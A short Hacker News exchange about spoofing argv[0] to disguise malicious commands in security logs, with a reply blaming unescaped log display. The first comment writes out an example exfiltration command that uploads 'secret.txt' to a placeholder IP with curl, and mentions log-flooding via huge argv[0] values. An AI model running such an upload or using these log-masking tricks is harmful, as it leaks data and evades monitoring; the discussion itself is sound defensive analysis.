Hacker News new | ask | show | jobs
by gwbas1c 660 days ago
The author's extensive criticisms of using argv[0] are a distraction from the main point of the article:

Summary: By manipulating argv[0], a malicious program can hide what its doing in security logs. For example, a malicious program can make "curl -T secret.txt 123.45.67.89" look like "curl localhost | grep -T secret.txt 123.45.67.89" in security logs. A mallicious program can also use very large argv[0] values as a DOS attack on system logging; or to truncate malicious arguments.

IMO, operating systems should block this practice.

Unfortunately, the author's extensive criticism of programs reading argv[0] hurt the author's credibility before most people get to the real point of the article.

1 comments

> IMO, operating systems should block this practice.

The "look like" is not a problem with the OS but a problem with displaying an array as a space-separated string without sufficient quoting or escaping, making things ambiguous.